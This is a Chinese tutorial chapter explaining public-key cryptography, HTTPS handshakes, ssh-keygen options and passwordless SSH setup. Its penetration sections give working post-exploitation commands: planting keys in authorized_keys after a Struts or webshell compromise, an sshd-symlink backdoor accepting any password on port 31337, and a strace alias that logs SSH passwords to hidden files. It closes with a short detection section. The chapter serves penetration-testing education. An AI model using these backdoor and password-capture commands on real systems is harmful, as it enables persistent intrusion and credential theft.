9.1公私钥简介
1.公钥和私钥的概念
在现代密码体制中加密和解密是采用不同的密钥（公开密钥），也就是公开密钥算法（也叫非对称算法、双钥算法）”，每个通信方均需要两个密钥，即公钥和私钥，这两把密钥可以互为加解密。公钥是公开的，不需要保密，而私钥是由个人自己持有，并且必须妥善保管和注意保密。
2.公钥和私钥使用原则
（1）一个公钥对应一个私钥。
（2）密钥对中，让大家都知道的是公钥，不告诉大家，只有自己知道的，是私钥。
（3）如果用其中一个密钥加密数据，则只有对应的那个密钥才可以解密。
（4）如果用其中一个密钥可以进行解密数据，则该数据必然是对应的那个密钥进行的加密。
（5）非对称密钥密码的主要应用就是公钥加密和公钥认证，而公钥加密的过程和公钥认证的过程是不一样的
3.基于公开密钥的加密过程
比如有两个用户Alice和Bob，Alice想把一段明文通过双钥加密的技术发送给Bob，Bob有一对公钥和私钥，那么加密解密的过程如下：
（1）Bob将他的公开密钥传送给Alice。
（2）Alice用Bob的公开密钥加密她的消息，然后传送给Bob。
（3）Bob用他的私人密钥解密Alice的消息。
4.基于公开密钥的认证过程
身份认证和加密就不同了，主要用户鉴别用户的真伪。这里我们只要能够鉴别一个用户的私钥是正确的，就可以鉴别这个用户的真伪。还是Alice和Bob这两个用户，Alice想让Bob知道自己是真实的Alice，而不是假冒的，因此 Alice只要使用公钥密码学对文件签名发送给Bob，Bob使用Alice的公钥对文件进行解密，如果可以解密成功，则证明Alice的私钥是正确的，因而就完成了对Alice的身份鉴别。整个身份认证的过程如下：
（1）Alice用她的私人密钥对文件加密，从而对文件签名。
（2）Alice将签名的文件传送给Bob。
（3）Bob用Alice的公钥解密文件，从而验证签名。
5.公钥、私钥、证书的生成
（1）一个HTTPS服务器首先创建他自己的密钥对（key pair），包含公钥和私钥。
（2）通过网络把他的公钥送到CA中心，公钥中包含了个人鉴别信息（他的名字、地址、所用设备的序列号等等）。
（3）CA中心创建并签署一个包含公钥及个人信息的证书，从而保证密钥的确实性。
（4）使用该证书的人可以通过检验CA中心的签名（检验CA签名需要CA的公钥）来验证证书的确实性。
6.公钥、私钥、证书的使用
在HTTPS协议的握手阶段是公钥、私钥、证书的典型使用场景。HTTPS握手的典型时序图如下：
上图中实线部分是必须的，虚线部分是可选的。该流程完成了两个任务：服务器身份的验证、加密传输对称加密密钥。
（1）client hello和 server hello表示双方要建立一个加密会话。
（2）服务器把数字证书传输给客户端，证书中包含服务器公钥，客户端用公钥解析证书中的数字签名，可以验证服务器的身份。
（3）Server Hello Done表示hello 流程结束。
（4）客户端生成一个对称加密密钥，用于实际数据的加密传输，并用服务器的公钥加密，把对生成的密钥传递给服务器。同时携带一个用刚刚生成的加密密钥加密的“client finished”。
（5）服务器收到对称加密密钥，并尝试用该密钥解密加密字段，如能得到明文“client finished”，认为该密钥有效，可以用于之后的数据加密传输。同时用该密钥加密“server finished”，传递给客户端。
（6）客户端用对称机密密钥解密，如能得到明文“server finished”，客户端认为该服务器已经正确的接收到对称密钥。
（7）加密数据传输开始。
虚线部分是服务器端要求验证客户身份。
9.2使用ssh-keygen生成公私钥
1. ssh-keygen使用参数介绍
ssh-keygen其官方定义为生成、管理和转换认证密钥，使用“man ssh-keygen”可以获取其详细的使用帮助信息。
（1）原始参数
ssh-keygen [-q] [-b bits] [-t DSA | ecdsa | ed25519 | RSA | rsa1] [-N new_passphrase]
[-C comment] [-f output_keyfile]
ssh-keygen -p [-P old_passphrase] [-N new_passphrase] [-f keyfile]
ssh-keygen -i [-m key_format] [-f input_keyfile]
ssh-keygen -e [-m key_format] [-f input_keyfile]
ssh-keygen -y [-f input_keyfile]
ssh-keygen -c [-P passphrase] [-C comment] [-f keyfile]
ssh-keygen -l [-v] [-E fingerprint_hash] [-f input_keyfile]
ssh-keygen -B [-f input_keyfile]
ssh-keygen -D pkcs11
ssh-keygen -F hostname [-f known_hosts_file] [-l]
ssh-keygen -H [-f known_hosts_file]
ssh-keygen -R hostname [-f known_hosts_file]
ssh-keygen -r hostname [-f input_keyfile] [-g]
ssh-keygen -G output_file [-v] [-b bits] [-M memory] [-S start_point]
ssh-keygen -T output_file -f input_file [-v] [-a rounds] [-J num_lines] [-j start_line]
[-K checkpt] [-W generator]
ssh-keygen -s ca_key -I certificate_identity [-h] [-n principals] [-O option]
[-V validity_interval] [-z serial_number] file ...
ssh-keygen -L [-f input_keyfile]
ssh-keygen -A
ssh-keygen -k -f krl_file [-u] [-s ca_public] [-z version_number] file ...
ssh-keygen -Q -f krl_file file ...
2.参数解读
-B 显示指定的公钥/私钥文件的 bubblebabble 摘要
-b bits 指定生成密钥的长度。对于RSA密钥，最小要求1024位，默认是2048位。一般来讲2048位是认为足够的。DSA密钥必须恰好是1024位(FIPS 186-2标准的要求)。ECDSA密钥，-b 标志将会从256、384、521位中进行选择。例如生成384位的ECDSA密钥：ssh-keygen -t ECDSA -b 384
-C comment 提供一个新注释
-c 要求修改私钥和公钥文件中的注释。本选项只支持 RSA1 密钥和保存为新OpenSSH格式的密钥。程序将提示输入私钥文件名、密语(如果存在)、新注释。
-D pkcs11 下载PKCS#11接口的RSA公钥，旧参数是reader，下载存储在智能卡 reader 里的 RSA 公钥。
-E 指纹哈希算法，指定显示的指纹算法，默认是sha256，可以指定为md5或者sha256（ssh-keygen -E md5指定md5指纹算法）
-e 读取OpenSSH的私钥或公钥文件，并默认以RFC4716 SSH 公钥文件格式在 控制台上显示出来，可以配合-m参数使用。该选项能够为多种商业版本的SSH输出密钥。
-m 私钥格式 为i（导入）或e（导出）转换选项指定密钥格式，支持格式: “RFC4716” (RFC 4716/SSH2 公钥和私钥)、“PKCS8” (PEM PKCS8 公钥) 或者 “PEM” (PEM 公钥)，缺省“RFC4716”格式，例如ssh-keygen -e -m RFC4716
-F 主机名 在known_hosts文件中搜索指定的hostname，并列出所有的匹配项。 这个选项主要用于查找散列过的主机名/ip地址，还可以和“-H”选项联用打印找到的公钥的散列值。
-f filename 指定密钥文件名
-G output_file 为DH-GEX产生候选素数。这些素数必须在使用之前使用“-T”选项进行安全检查。
-g 在使用“-r”命令打印指纹资源记录的时候使用通用的DNS格式
-H 对known_hosts 文件进行散列计算。这将把文件中的所有主机名/ip地址替换为相应的散列值。原来文件的内容将会添加一个".old"后缀后保存。这些散列值只能被 ssh 和 sshd 使用。这个选项不会修改已经经过散列的主机名/ip地址，因此可以在部分公钥已经散列过的文件上安全使用。
-h 在签署密钥时，创建主机证书而不是用户证书。
-i 读取未加密的SSH-2兼容的通过-m选择指定格式的私钥/公钥文件，然后在 stdout 显示OpenSSH兼容的私钥/公钥，该选项主要用于从多种商业版本的SSH中导入密钥。
-J num_lines 使用“-T”选项执行DH候选筛选后筛选指定行数之后退出。
-j start_line 使用-T选项执行DH候选筛选时，在指定行号开始筛选。
-K checkpt 当使用-T选项执行DH筛选处理checkpt文件的最后一行。这将用于跳过已重新处理的输入文件中已经处理过的行。
-k 生成KRL文件。 在这个模式中，通过“-f”标志每一个密钥或证书撤销命令行上ssh-keygen将在指定的位置产生一个krl文件 ，要撤消的键/证书可以由公钥文件指定，也可以使用键撤销列表部分中描述的格式。
-L 打印一个或多个证书的内容
-I 显示公钥文件的指纹数据。它也支持 RSA1 的私钥。对于RSA和DSA密钥，将会寻找对应的公钥文件，然后显示其指纹数据。
-M memory 指定在生成 DH-GEXS 候选素数的时候最大内存用量(MB)。
-N new_passphrase 提供一个新的密语。
-n principals 指定一个或多个主体（用户或主机名），以便在签署密钥时将其包含在证书中。可以指定多个主体，用逗号分隔。详情请参阅证书部分。
-O option在签名密钥时指定证书选项。可以多次指定此选项。详情请参阅证书部分。对用户证书有效的选项是：
clear 清除所启用的权限。这对于清除默认的权限集非常有用，因此可以单独添加权限。
force-command=command 强制执行命令，而不是当证书用于身份验证时由用户指定的任何shell或命令。
no-agent-forwarding 禁用SSH代理转发（默认值是允许的）。
no-port-forwarding 禁用端口转发（默认值是允许的）
no-pty 禁用PTY分配（默认允许）。
no-user-rc 禁用通过sshd执行~/.ssh/rc（默认允许）。
no-x11-forwarding 禁用X11转发（默认允许）。
permit-agent-forwarding 允许ssh-agent转发
permit-port-forwarding 允许端口转发
permit-pty 允许PTY分配.
permit-user-rc允许通过sshd执行~/.ssh/rc
permit-x11-forwarding 允许X11转发
source-address=address_list限制被认为有效的证书的源地址。address_list是逗号分隔的一个或多个CIDR格式的地址/掩码。
-o ssh-keygen使用新的OpenSSH格式而不是更兼容PEM格式保存私钥。新的格式增加了抗暴力破解密码破解但不支持OpenSSH6.5的版本。Ed25519总是使用新的密钥格式。
-P passphrase提供(旧)密语
-p 要求改变某私钥文件的密语而不重建私钥。程序将提示输入私钥文件名、原来的密语、以及两次输入新密语。
-Q 在KRL里面测试是否取消了证书
-q ssh-keygen安静模式.
-R hostname从 known_hosts 文件中删除所有属于 hostname 的密钥。这个选项主要用于删除经过散列的主机(参见 -H 选项)的密钥。
-r hostname 打印名为 hostname 的公钥文件的 SSHFP 指纹资源记录。
-S start 指定在生成 DH-GEX 候选模数时的起始点(16进制)。
-s ca_key 使用指定的CA证书验证（签名）公钥，详情请参阅证书部分。
-T output_file测试 Diffie-Hellman group exchange 候选素数(由 -G 选项生成)的安全性。
-t dsa | ecdsa | ed25519 | rsa | rsa1 指定要创建的密钥类型。可以使用 SSH-1的rsa1 ，SSH-2版本的dsa, ecdsa, ed25519和 rsa
-u 更新一个KRL
-V validity_interval 在签署证书时指定有效间隔。
-v 详细模式。ssh-keygen 将会输出处理过程的详细调试信息。常用于调试模数的产生过程。重复使用多个 -v 选项将会增加信息的详细程度(最大3次)。
-W generator 指定在为 DH-GEX 测试候选模数时想要使用的 generator
-y 读取OpenSSH专有格式的公钥文件，并将OpenSSH公钥显示在标准输出上。
-z serial_number 指定要嵌入到证书中的序列号，以便将该证书与其他证书从同一CA中区分。默认序列号为0。当产生一个KRL，- Z标记用于指定KRL版本号。
2.使用ssh-keygen生成密钥的相关理论知识
一般说来，如果用户希望使用RSA或DSA认证，那么至少应该运行一次ssh-keygen程序，在~/.ssh/identity、~/.ssh/id_dsa或~/.ssh/id_rsa文件中创建认证所需的密钥。 另外，系统管理员还可以用它产生主机密钥。 通常，这个程序产生一个密钥对，并要求指定一个文件存放私钥，同时将公钥存放在附加了".pub"后缀的同名文件中。 程序同时要求输入一个密语字符串(passphrase)，空表示没有密语(主机密钥的密语必须为空)。 密语和口令(password)非常相似，但是密语可以是一句话，里面有单词、标点符号、数字、空格或任何你想要的字符。 好的密语要30个以上的字符，难以猜出，由大小写字母、数字、非字母混合组成。密语可以用“-p”选项修改。丢失的密语不可恢复。如果丢失或忘记了密语，用户必须产生新的密钥，然后把相应的公钥分发到其他机器上去。 RSA1的密钥文件中有一个"注释"字段，可以方便用户标识这个密钥，指出密钥的用途或其他有用的信息。创建密钥的时候，注释域初始化为"user@host"，以后可以用 -c 选项修改。生成过程分为两步：
首先，使用一个快速且消耗内存较多的方法生成一些候选素数。然后，对这些素数进行适应性测试(消耗CPU较多)。 可以使用-G选项生成候选素数，同时使用-b选项制定其位数。例如：# ssh-keygen -G moduli-2048.candidates -b 2048
默认将从指定位数范围内的一个随机点开始搜索素数，不过可以使用 -S 选项来指定这个随机点(16进制)。生成一组候选数之后，接下来就需要使用-T选项进行适应性测试。 此时ssh-keygen将会从stdin读取候选素数(或者通过-f选项读取一个文件)，例如：
# ssh-keygen -T moduli-2048 -f moduli-2048.candidates
每个候选素数默认都要通过 100个基本测试(可以通过-a选项修改)。
DH generator 的值会自动选择，但是你也可以通过-W选项强制指定。有效的值可以是：2, 3, 5。经过筛选之后的 DH groups 就可以存放到/etc/ssh/moduli里面了。很重要的一点是这个文件必须包括不同长度范围的模数，而且通信双方双方共享相同的模数。
~/.ssh/identity 该用户默认的 RSA1 身份认证私钥(SSH-1)。此文件的权限应当至少限制为"600"。生成密钥的时候可以指定采用密语来加密该私钥(3DES)。将在登录的时候读取这个文件。
~/.ssh/identity.pub 该用户默认的RSA1身份认证公钥(SSH-1)。此文件无需保密。此文件的内容应该添加到所有RSA1目标主机的~/.ssh/authorized_keys文件中。
~/.ssh/id_dsa该用户默认的DSA身份认证私钥(SSH-2)。此文件的权限应当至少限制为"600"。 生成密钥的时候可以指定采用密语来加密该私钥(3DES)。将在登录的时候读取这个文件。
~/.ssh/id_dsa.pub该用户默认的DSA身份认证公钥(SSH-2)。此文件无需保密。 此文件的内容应该添加到所有 DSA 目标主机的 ~/.ssh/authorized_keys 文件中。
~/.ssh/id_rsa 该用户默认的 RSA 身份认证私钥(SSH-2)。此文件的权限应当至少限制为"600"。生成密钥的时候可以指定采用密语来加密该私钥(3DES)。将在登录的时候读取这个文件。
~/.ssh/id_rsa.pub该用户默认的 RSA 身份认证公钥(SSH-2)。此文件无需保密。 此文件的内容应该添加到所有 RSA 目标主机的 ~/.ssh/authorized_keys 文件中。
3.生成rsa公私钥密钥对
在本机使用命令执行ssh-keygen -t rsa，将会生成id_rsa和id_rsa.pub公私钥文件。
ssh-keygen -t dsa 将会生成 id_dsa和id_dsa.pub公私钥文件
ssh-keygen -t ecdsa 将会生成 id_ecdsa和id_ecdsa.pub公私钥文件
ssh-keygen -t ed25519 将会生成id_ed25519和id_ed25519.pub公私钥文件
9.3渗透之公钥利用
ssh免密码登录是利用ssh-keygen命令生成公钥和私钥，将公钥复制到对方服务器/root/.ssh或者/home/username/.ssh目录下的authorized_keys，同时设置authorized_keys文件权限为600，.ssh文件夹权限为700，在登录是直接输入对方服务器IP地址进行登录。
环境配置情况如下：
服务器A的IP地址为：192.168.157.133，主机名称kali2016
服务器B的IP地址为：192.168.157.131，主机名称kali2017
1.单一服务器免登录
条件：服务器A（kali2016）免密码登录服务器B（kali2017）
（1）服务器B执行命令
cd /root/
mkdir .ssh
（2）服务器A执行命令
ssh-keygen -t rsa
scp /root/.ssh/id_rsa.pub root@192.168.157.131:/root/.ssh/authorized_keys
（3）服务器B执行命令
chmod 600 /root/.ssh/authorized_keys
chmod 700 -R /root/.ssh
（4）服务器A上直接登录服务器B执行命令
ssh root@192.168.157.131 或者ssh 192.168.157.131
2.服务器相互登录
（1）分别在A和B服务器上执行ssh-keygen -t rsa
（2）将A和B服务器上面的公钥文件id_rsa.pub生成到authorized_keys
A服务器上执行复制公钥到B服务器上操作：
scp /root/.ssh/id_rsa.pub root@192.168.157.131:/root/.ssh/authorized_keys
B服务器上执行复制公钥到A服务器上操作
scp /root/.ssh/id_rsa.pub root@192.168.157.133:/root/.ssh/authorized_keys
（3）分别在A和B服务器上设置目录及文件权限
chmod 600 /root/.ssh/authorized_keys
chmod 700 -R /root/.ssh
（4）服务器B和服务器A相互间免密码登录。
3.通过structs等漏洞或者通过提权获取root权限情况下则可以：
（1）通过工具软件或者webshell将本地的id_rsa.pub复制到192.168.157.133服务器上，并将该文件重命名或者cat到authorized_keys。
（2）cat id_rsa.pub>>/root/.ssh/authorized_keys，如果没有创建.ssh文件夹，则需要先行创建。其它步骤跟上面相同。
4.使用ssh-copy-id命令复制公钥到服务器
ssh-copy-id命令可以把本地主机的公钥复制到远程主机的authorized_keys文件上，ssh-copy-id命令也会给远程主机的用户主目录（home）、~/.ssh和~/.ssh/authorized_keys设置合适的权限，其前提条件是知道双方服务器的root或者其它账号密码，其命令格式如下：
ssh-copy-id -i ～/.ssh/id_rsa.pub user@server
（1）在服务器A上将公钥复制到服务器B上：
ssh-copy-id -i /root/.ssh/id_rsa.pub root@192.168.157.131
（2）在服务器B上将公钥复制到服务器A上
ssh-copy-id -i /root/.ssh/id_rsa.pub root@192.168.157.133
执行效果如图1所示，需要确认是否输入，输入yes，然后输入登录服务器的对应账号密码，即可将本地服务器的公钥上传到对方服务器上。
图1使用ssh-copy-id命令复制公钥文件到服务器
（3）ssh root@192.168.157.133或者ssh root@192.168.157.131直接免密码登录服务器，如图2所示，不需要输入密码直接登录服务器。
图2免密码登录服务器
5.设定客户端连接使用的ssh私钥和公钥
vim /etc/ssh/sshd_config
找到
# IdentityFile ~/.ssh/identity
# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
把前面#去掉，然后在 IdentityFile 后填写你用来执行ssh时所用的密钥。
9.4渗透之SSH后门
1.SSH免密码登录之后门
通过渗透得到shell后，对方防火墙没限制，想快速开放一个可以访问的SSH端口，用户名为root、bin、ftp和mail，并以任意密码登录：
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
例如在192.168.157.133上执行
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
登录192.168.157.133执行以下命令，如图3所示。
ssh root@192.168.157.133
ssh bin@192.168.157.133
ssh ftp@192.168.157.133
ssh mail@192.168.157.133
图3免密码登录ssh后门
2.ssh免密码后门登录注意事项
（1）Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
（2）如果被控主机不允许root登陆可用其他已存在用户登陆
（3）通过软连接的方式，实质上PAM认证是通过软连接的文件名（如：/tmp/su,/home/su）在/etc/pam.d/目录下寻找对应的PAM配置文件(如：/etc/pam.d/su)
（4）任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆，实践表明，可成功利用的PAM配置文件除了su还有chsh、chfn，执行命令find ./ |xargs grep "pam_rootok"获取。同类的还有chsh和chfn也可以建立ssh后门：
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12346
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12347
3.strace记录ssh密码
apt-get install strace
vi ~/.bashrc
在其中加入
alias ssh='strace -o /tmp/.sshpwd-`date ' %d%h%m%s'`.log -s 2048 ssh'
通过查看/tmp/的log文件来获取记录的密码：
cat .sshpwd-17May051494975433.log | egrep "(read\(4).*\)"
9.5安全防范
1.对/root/.ssh/authorized_keys或者/home/user/.ssh/authorized_keys文件进行检查，非管理员或者本机用户即为入侵者留下的。
2.对known_hosts文件进行时间和内容检查
3.查看.ssh目录下的文件生成时间和文件内容。
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